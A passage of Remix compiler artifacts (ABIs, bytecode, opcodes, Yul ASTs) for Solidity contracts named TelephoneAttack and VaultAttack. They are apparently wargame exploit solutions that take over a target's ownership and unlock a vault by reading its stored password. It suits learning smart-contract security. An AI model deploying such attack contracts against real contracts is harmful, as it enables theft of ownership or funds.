"src": "60:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "67:3:1",
"type": ""
}
],
"src": "7:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "229:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "239:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "251:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "262:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "247:3:1"
},
"nodeType": "YulFunctionCall",
"src": "247:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "239:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "319:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "332:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "343:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "328:3:1"
},
"nodeType": "YulFunctionCall",
"src": "328:17:1"
}
],
"functionName": {
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulIdentifier",
"src": "275:43:1"
},
"nodeType": "YulFunctionCall",
"src": "275:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "275:71:1"
}
]
},
"name": "abi_encode_tuple_t_address__to_t_address__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "201:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "213:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "224:4:1",
"type": ""
}
],
"src": "131:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "404:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "414:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "443:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "425:17:1"
},
"nodeType": "YulFunctionCall",
"src": "425:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "414:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "386:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "396:7:1",
"type": ""
}
],
"src": "359:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "506:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "516:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "531:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "538:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "527:3:1"
},
"nodeType": "YulFunctionCall",
"src": "527:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "516:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "488:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "498:7:1",
"type": ""
}
],
"src": "461:126:1"
}
]
},
"contents": "{\n\n function abi_encode_t_address_to_t_address_fromStack(value, pos) {\n mstore(pos, cleanup_t_address(value))\n }\n\n function abi_encode_tuple_t_address__to_t_address__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_address_to_t_address_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b506004361061002b5760003560e01c80639e5faafc14610030575b600080fd5b61003861003a565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6f9dae160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016100b591906100f8565b600060405180830381600087803b1580156100cf57600080fd5b505af11580156100e3573d6000803e3d6000fd5b50505050565b6100f281610113565b82525050565b600060208201905061010d60008301846100e9565b92915050565b600061011e82610125565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff8216905091905056fea264697066735822122094d7902390089ec2b5799ba387879f4dd4c1cf91960ccf0dd6a23393d10f036864736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2B JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x30 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x38 PUSH2 0x3A JUMP JUMPDEST STOP JUMPDEST PUSH1 0x1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA6F9DAE1 PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0xB5 SWAP2 SWAP1 PUSH2 0xF8 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0xCF JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0xE3 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH2 0xF2 DUP2 PUSH2 0x113 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x10D PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0xE9 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x11E DUP3 PUSH2 0x125 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 SWAP5 0xD7 SWAP1 0x23 SWAP1 ADDMOD SWAP15 0xC2 0xB5 PUSH26 0x9BA387879F4DD4C1CF91960CCF0DD6A23393D10F036864736F6C PUSH4 0x43000807 STOP CALLER ",
"sourceMap": "121:285:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;331:72;;;:::i;:::-;;;367:6;;;;;;;;;;;:18;;;386:8;;;;;;;;;;367:28;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;331:72::o;7:118:1:-;94:24;112:5;94:24;:::i;:::-;89:3;82:37;7:118;;:::o;131:222::-;224:4;262:2;251:9;247:18;239:26;;275:71;343:1;332:9;328:17;319:6;275:71;:::i;:::-;131:222;;;;:::o;359:96::-;396:7;425:24;443:5;425:24;:::i;:::-;414:35;;359:96;;;:::o;461:126::-;498:7;538:42;531:5;527:54;516:65;;461:126;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "75800",
"executionCost": "infinite",
"totalCost": "infinite"
},
"external": {
"attack()": "infinite"
}
},
"methodIdentifiers": {
"attack()": "9e5faafc"
}
},
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "_newOwner",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "_newOwner",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/TelephoneAttack.sol": "TelephoneAttack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/TelephoneAttack.sol": {
"keccak256": "0xbc9e7b0a7889d80db5d1e4df370cb43c8496f81836c231fd64794801e9e35bfb",
"urls": [
"bzz-raw://20bf2f5a653639029b4ec2756910aac9ce986a3691534dd852ba2f1174083abb",
"dweb:/ipfs/Qmbep39W8DLJHa87wkRDFpvmU1dFhFRNrZMXoRoQttJwhW"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"methodIdentifiers": {
"locked()": "cf309012",
"password()": "224b610b",
"unlock(bytes32)": "ec9b5b3a"
}
},
"abi": [
{
"inputs": [],
"name": "locked",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "password",
"outputs": [
{
"internalType": "bytes32",
"name": "",
"type": "bytes32"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "bytes32",
"name": "_password",
"type": "bytes32"
}
],
"name": "unlock",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"name": "locked",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "password",
"outputs": [
{
"internalType": "bytes32",
"name": "",
"type": "bytes32"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "bytes32",
"name": "_password",
"type": "bytes32"
}
],
"name": "unlock",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/VaultAttack.sol": "Vault"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/VaultAttack.sol": {
"keccak256": "0xe7860b420feee316d6d7d260509b48a664dda0166ba20037a570a5e4987a03ac",
"license": "MIT",
"urls": [
"bzz-raw://9b45d83017205ef477a7156a8c29d5aa32d647246ab8b51bf33514c436f7f21e",
"dweb:/ipfs/Qmf2zNuFaSYiMRrhXKjjAtt3dZuiEGEL4gyim2EMp6wTGV"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50610206806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80639e5faafc14610030575b600080fd5b61003861003a565b005b6000737fdcaa24f667d24cceacc21b4dde9a69b7d6807290508073ffffffffffffffffffffffffffffffffffffffff1663ec9b5b3a8273ffffffffffffffffffffffffffffffffffffffff1663224b610b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100b557600080fd5b505afa1580156100c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100ed9190610153565b6040518263ffffffff1660e01b8152600401610109919061018f565b600060405180830381600087803b15801561012357600080fd5b505af1158015610137573d6000803e3d6000fd5b5050505050565b60008151905061014d816101b9565b92915050565b600060208284031215610169576101686101b4565b5b60006101778482850161013e565b91505092915050565b610189816101aa565b82525050565b60006020820190506101a46000830184610180565b92915050565b6000819050919050565b600080fd5b6101c2816101aa565b81146101cd57600080fd5b5056fea26469706673582212201c59cf3444468518de4c1d25ebff648a72611a66d7a073107dbc01477e71c30664736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x206 DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2B JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x30 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x38 PUSH2 0x3A JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH20 0x7FDCAA24F667D24CCEACC21B4DDE9A69B7D68072 SWAP1 POP DUP1 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xEC9B5B3A DUP3 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x224B610B PUSH1 0x40 MLOAD DUP2 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP7 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0xB5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS STATICCALL ISZERO DUP1 ISZERO PUSH2 0xC9 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x1F NOT PUSH1 0x1F DUP3 ADD AND DUP3 ADD DUP1 PUSH1 0x40 MSTORE POP DUP2 ADD SWAP1 PUSH2 0xED SWAP2 SWAP1 PUSH2 0x153 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x109 SWAP2 SWAP1 PUSH2 0x18F JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x123 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x137 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0x14D DUP2 PUSH2 0x1B9 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x169 JUMPI PUSH2 0x168 PUSH2 0x1B4 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x177 DUP5 DUP3 DUP6 ADD PUSH2 0x13E JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x189 DUP2 PUSH2 0x1AA JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x1A4 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x180 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x1C2 DUP2 PUSH2 0x1AA JUMP JUMPDEST DUP2 EQ PUSH2 0x1CD JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 SHR MSIZE 0xCF CALLVALUE DIFFICULTY CHAINID DUP6 XOR 0xDE 0x4C SAR 0x25 0xEB SELFDESTRUCT PUSH5 0x8A72611A66 0xD7 LOG0 PUSH20 0x107DBC01477E71C30664736F6C63430008070033 ",
"sourceMap": "199:182:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@attack_30": {
"entryPoint": 58,
"id": 30,
"parameterSlots": 0,
"returnSlots": 0
},
"abi_decode_t_bytes32_fromMemory": {
"entryPoint": 318,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_bytes32_fromMemory": {
"entryPoint": 339,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_bytes32_to_t_bytes32_fromStack": {
"entryPoint": 384,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_bytes32__to_t_bytes32__fromStack_reversed": {
"entryPoint": 399,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_bytes32": {
"entryPoint": 426,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 436,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_bytes32": {
"entryPoint": 441,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1400:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "70:80:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "80:22:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "95:6:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "89:5:1"
},
"nodeType": "YulFunctionCall",
"src": "89:13:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "80:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "138:5:1"
}
],
"functionName": {
"name": "validator_revert_t_bytes32",
"nodeType": "YulIdentifier",
"src": "111:26:1"
},
"nodeType": "YulFunctionCall",
"src": "111:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "111:33:1"
}
]
},
"name": "abi_decode_t_bytes32_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "48:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "56:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "64:5:1",
"type": ""
}
],
"src": "7:143:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "233:274:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "279:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "281:77:1"
},
"nodeType": "YulFunctionCall",
"src": "281:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "281:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "254:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "263:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "250:3:1"
},
"nodeType": "YulFunctionCall",
"src": "250:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "275:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "246:3:1"
},
"nodeType": "YulFunctionCall",
"src": "246:32:1"
},
"nodeType": "YulIf",
"src": "243:119:1"
},
{
"nodeType": "YulBlock",
"src": "372:128:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "387:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "401:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "391:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "416:74:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "462:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "473:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "458:3:1"
},
"nodeType": "YulFunctionCall",
"src": "458:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "482:7:1"
}
],
"functionName": {
"name": "abi_decode_t_bytes32_fromMemory",
"nodeType": "YulIdentifier",
"src": "426:31:1"
},
"nodeType": "YulFunctionCall",
"src": "426:64:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "416:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_bytes32_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "203:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "214:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "226:6:1",
"type": ""
}
],
"src": "156:351:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "578:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "595:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "618:5:1"
}
],
"functionName": {
"name": "cleanup_t_bytes32",
"nodeType": "YulIdentifier",
"src": "600:17:1"
},
"nodeType": "YulFunctionCall",
"src": "600:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "588:6:1"
},
"nodeType": "YulFunctionCall",
"src": "588:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "588:37:1"
}
]
},
"name": "abi_encode_t_bytes32_to_t_bytes32_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "566:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "573:3:1",
"type": ""
}
],
"src": "513:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "735:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "745:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "757:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "768:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "753:3:1"
},
"nodeType": "YulFunctionCall",
"src": "753:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "745:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "825:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "838:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "849:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "834:3:1"
},
"nodeType": "YulFunctionCall",
"src": "834:17:1"
}
],
"functionName": {
"name": "abi_encode_t_bytes32_to_t_bytes32_fromStack",
"nodeType": "YulIdentifier",
"src": "781:43:1"
},
"nodeType": "YulFunctionCall",
"src": "781:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "781:71:1"
}
]
},
"name": "abi_encode_tuple_t_bytes32__to_t_bytes32__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "707:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "719:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "730:4:1",
"type": ""
}
],
"src": "637:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "905:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "915:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "931:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "925:5:1"
},
"nodeType": "YulFunctionCall",
"src": "925:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "915:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "898:6:1",
"type": ""
}
],
"src": "865:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "991:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1001:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "1012:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1001:7:1"
}
]
}
]
},
"name": "cleanup_t_bytes32",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "973:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "983:7:1",
"type": ""
}
],
"src": "946:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1118:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1135:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1138:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1128:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1128:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1128:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "1029:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1241:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1258:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1261:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1251:6:1"
},
"nodeType": "YulFunctionCall",
